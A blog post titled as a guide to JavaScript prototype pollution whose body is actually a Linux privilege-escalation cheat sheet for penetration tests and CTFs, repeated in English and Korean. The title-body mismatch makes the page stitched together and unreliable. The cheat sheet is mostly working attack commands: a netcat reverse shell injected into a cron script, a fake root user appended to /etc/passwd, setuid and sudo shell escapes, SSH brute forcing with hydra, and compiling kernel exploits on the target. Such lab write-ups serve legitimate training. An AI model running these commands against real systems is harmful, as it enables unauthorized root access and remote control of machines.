Prototype Pollution: Poisoning JavaScript's Object Chain
How Prototype Pollution corrupts JavaScript's prototype chain and how to defend against it
This post summarizes various techniques for Linux privilege escalation, often encountered during penetration testing or CTFs like OSCP. It covers manual and automated enumeration methods, common misconfigurations, and kernel exploit strategies.
Understanding the target system is the first step.
Gather basic information using built-in commands:
id, cat /etc/passwdhostname, cat /etc/issue, cat /etc/os-releaseuname -aps auxip a, route, ss -anp (active connections), ss -tlpn (TCP open ports), netstat -atnp (listening ports)cat /etc/iptables/rules.v4ls -lah /etc/cron*, crontab -l, sudo crontab -ldpkg -l (Debian/Ubuntu)find / -writable -type d 2>/dev/nullmount, cat /etc/fstab, lsblklsmod, /sbin/modinfo <module_name>find / -perm -u=s -type f 2>/dev/null/usr/sbin/getcap -r / 2>/dev/nullExample Scenario: Finding Credentials in .bashrc
env
cat .bashrc
# Assuming credentials found, try to switch user
su - root
whoami
# Brute-forcing SSH password if user/pass hinted
# crunch 6 6 -t Lab%%% > wordlist
# hydra -l eve -P wordlist <target_ip> -t 4 ssh -V
# ssh eve@<target_ip>
sudo -l # Check sudo permissions
# Escalate if possible
sudo -i
Monitoring for Passwords:
watch -n 1 "ps -aux | grep pass"sudo tcpdump -i lo -A | grep "pass"Tools can speed up the process.
unix-privesc-check standard > output.txt and look for warning keywords. You might need to transfer it (scp) if not present.If a cron job runs a script with weak permissions, you can modify it for a reverse shell.
grep "CRON" /var/log/syslog, check /etc/crontab, /etc/cron.*/*ls -lah /path/to/script.sh# Example payload (adjust IP and port)
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 1234 >/tmp/f' >> /path/to/script.sh
nc -lnvp 1234 on your machine./etc/passwdIf /etc/passwd is world-writable (highly insecure!), you can add a new root user.
ls -al /etc/passwdopenssl passwd <your_password> (e.g., w00t) -> outputs hash (e.g., YSSyRQ853q.bE)echo "root2:YSSyRQ853q.bE:0:0:root:/root:/bin/bash" >> /etc/passwd
su root2 (use the password you set)Binaries with the Setuid bit or specific capabilities run with higher privileges.
find / -perm -u=s -type f 2>/dev/null/usr/sbin/getcap -r / 2>/dev/nullRefer to GTFOBins for known exploitation methods for specific binaries.
find (Setuid):
find . -exec /bin/sh -p \; -quit
perl (CAP_SETUID):
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
gdb (Example):
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
If a user can run specific commands via sudo without a password or with known privileges, abuse them.
sudo -ltcpdump, apt-get, gcc).tcpdump (Potential Issues): Exploits might be blocked by security modules like AppArmor. Check logs (/var/log/syslog) for denials.
# GTFObins tcpdump example (might fail due to AppArmor/permissions)
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
apt-get / apt:
# Open a shell via the pager used by changelog
sudo apt-get changelog apt
# Inside the pager (like less), type:
!/bin/sh
gcc (via wrapper):
# Creates a dummy file and uses sh as a wrapper
sudo gcc -wrapper /bin/sh,-s .
Requires identifying the OS, kernel version, and architecture.
cat /etc/issue, uname -r, archsearchsploit or online resources (Exploit-DB).
searchsploit "linux kernel <OS_Version> Local Privilege Escalation"
# Example: searchsploit "linux kernel Ubuntu 16.04 4.4 Local Privilege Escalation"
scp, wget, etc.
# Find exploit path with searchsploit
searchsploit -m <exploit_id.c>
# Transfer
scp <exploit_id.c> user@target_ip:~/
gcc <exploit_id.c> -o exploit_binary -lpthread # (Flags may vary)
./exploit_binary
pkexec found in many distributions. Check if pkexec exists and has setuid (find / -name pkexec -perm -u=s 2>/dev/null). Requires cloning the exploit repo and compiling on the target.When starting, quickly check these:
cat /etc/issue, uname -a (OS/Kernel/Arch)sudo -l (Sudo rights)find / -perm -u=s -type f 2>/dev/null (Setuid binaries)/usr/sbin/getcap -r / 2>/dev/null (Capabilities)ls -al /etc/passwd (Passwd permissions)ls -lah /etc/cron*, crontab -l (Cron jobs)This summary provides a starting point for exploring Linux privilege escalation vectors. Always refer to resources like GTFOBins and Exploit-DB for specific command exploits.
이 글은 침투 테스트나 OSCP 같은 CTF에서 자주 마주치는 리눅스 권한 상승(privilege escalation) 기법들을 한데 모아 정리한 글입니다. 수동, 자동 열거 방법부터 흔한 오설정, 커널 익스플로잇 전략까지 훑어보겠습니다.
뭐든 그렇듯, 대상 시스템을 파악하는 것이 첫걸음입니다.
먼저 내장 명령으로 기본 정보부터 긁어모읍니다.
id, cat /etc/passwdhostname, cat /etc/issue, cat /etc/os-releaseuname -aps auxip a, route, ss -anp (활성 연결), ss -tlpn (열린 TCP 포트), netstat -atnp (리스닝 포트)cat /etc/iptables/rules.v4ls -lah /etc/cron*, crontab -l, sudo crontab -ldpkg -l (Debian/Ubuntu)find / -writable -type d 2>/dev/nullmount, cat /etc/fstab, lsblklsmod, /sbin/modinfo <module_name>find / -perm -u=s -type f 2>/dev/null/usr/sbin/getcap -r / 2>/dev/null예시 시나리오: .bashrc에서 자격 증명 찾기
env
cat .bashrc
# Assuming credentials found, try to switch user
su - root
whoami
# Brute-forcing SSH password if user/pass hinted
# crunch 6 6 -t Lab%%% > wordlist
# hydra -l eve -P wordlist <target_ip> -t 4 ssh -V
# ssh eve@<target_ip>
sudo -l # Check sudo permissions
# Escalate if possible
sudo -i
비밀번호 모니터링:
watch -n 1 "ps -aux | grep pass"sudo tcpdump -i lo -A | grep "pass"도구의 힘을 빌리면 이 과정을 훨씬 빠르게 끝낼 수 있습니다.
unix-privesc-check standard > output.txt를 실행한 뒤 warning 키워드를 훑어보세요. 대상에 없으면 (scp로) 올려 줘야 할 수도 있습니다.cron 작업이 권한이 허술한 스크립트를 돌리고 있다면, 그 스크립트를 슬쩍 고쳐 리버스 셸을 딸 수 있습니다.
grep "CRON" /var/log/syslog, /etc/crontab, /etc/cron.*/* 확인ls -lah /path/to/script.sh# Example payload (adjust IP and port)
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 1234 >/tmp/f' >> /path/to/script.sh
nc -lnvp 1234./etc/passwd의 취약한 해시/etc/passwd가 누구나 쓸 수 있게(world-writable) 열려 있다면(정말 위험한 설정이죠) 새 root 사용자를 통째로 하나 추가해 버릴 수 있습니다.
ls -al /etc/passwdopenssl passwd <your_password> (예: w00t) -> 해시 출력(예: YSSyRQ853q.bE)echo "root2:YSSyRQ853q.bE:0:0:root:/root:/bin/bash" >> /etc/passwd
su root2 (설정한 비밀번호 사용)Setuid 비트나 특정 capability가 붙은 바이너리는 상승된 권한으로 실행됩니다. 여기에 허점이 있으면 곧장 권한 상승으로 이어지죠.
find / -perm -u=s -type f 2>/dev/null/usr/sbin/getcap -r / 2>/dev/null특정 바이너리를 어떻게 악용하는지는 GTFOBins에 잘 정리돼 있으니 참고하세요.
find (Setuid):
find . -exec /bin/sh -p \; -quit
perl (CAP_SETUID):
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
gdb (예시):
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
사용자가 비밀번호 없이, 혹은 알려진 권한으로 sudo를 통해 특정 명령을 돌릴 수 있다면 이걸 지렛대로 삼습니다.
sudo -ltcpdump, apt-get, gcc)을 찾아본다.tcpdump (걸림돌이 될 수 있는 부분): 익스플로잇이 AppArmor 같은 보안 모듈에 막힐 수 있습니다. 로그(/var/log/syslog)에서 거부(denial)가 찍혔는지 확인해 보세요.
# GTFObins tcpdump example (might fail due to AppArmor/permissions)
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
apt-get / apt:
# Open a shell via the pager used by changelog
sudo apt-get changelog apt
# Inside the pager (like less), type:
!/bin/sh
gcc (wrapper 이용):
# Creates a dummy file and uses sh as a wrapper
sudo gcc -wrapper /bin/sh,-s .
먼저 OS와 커널 버전, 아키텍처부터 정확히 파악해야 합니다.
cat /etc/issue, uname -r, archsearchsploit 같은 도구나 온라인 자료(Exploit-DB)를 활용합니다.
searchsploit "linux kernel <OS_Version> Local Privilege Escalation"
# Example: searchsploit "linux kernel Ubuntu 16.04 4.4 Local Privilege Escalation"
scp, wget 등을 사용한다.
# Find exploit path with searchsploit
searchsploit -m <exploit_id.c>
# Transfer
scp <exploit_id.c> user@target_ip:~/
gcc <exploit_id.c> -o exploit_binary -lpthread # (Flags may vary)
./exploit_binary
pkexec를 노립니다. pkexec가 존재하고 setuid가 걸려 있는지 먼저 확인하고(find / -name pkexec -perm -u=s 2>/dev/null), 익스플로잇 저장소를 클론해 대상에서 직접 컴파일하면 됩니다.막 셸을 잡았다면, 우선 이것들부터 빠르게 훑어보세요.
cat /etc/issue, uname -a (OS/커널/아키텍처)sudo -l (Sudo 권한)find / -perm -u=s -type f 2>/dev/null (Setuid 바이너리)/usr/sbin/getcap -r / 2>/dev/null (Capabilities)ls -al /etc/passwd (Passwd 권한)ls -lah /etc/cron*, crontab -l (Cron 작업)이 정도면 리눅스 권한 상승 벡터를 파고들기 위한 출발점으로는 충분할 겁니다. 개별 명령의 구체적인 익스플로잇은 언제나 GTFOBins와 Exploit-DB 같은 자료를 함께 참고하시길 권합니다.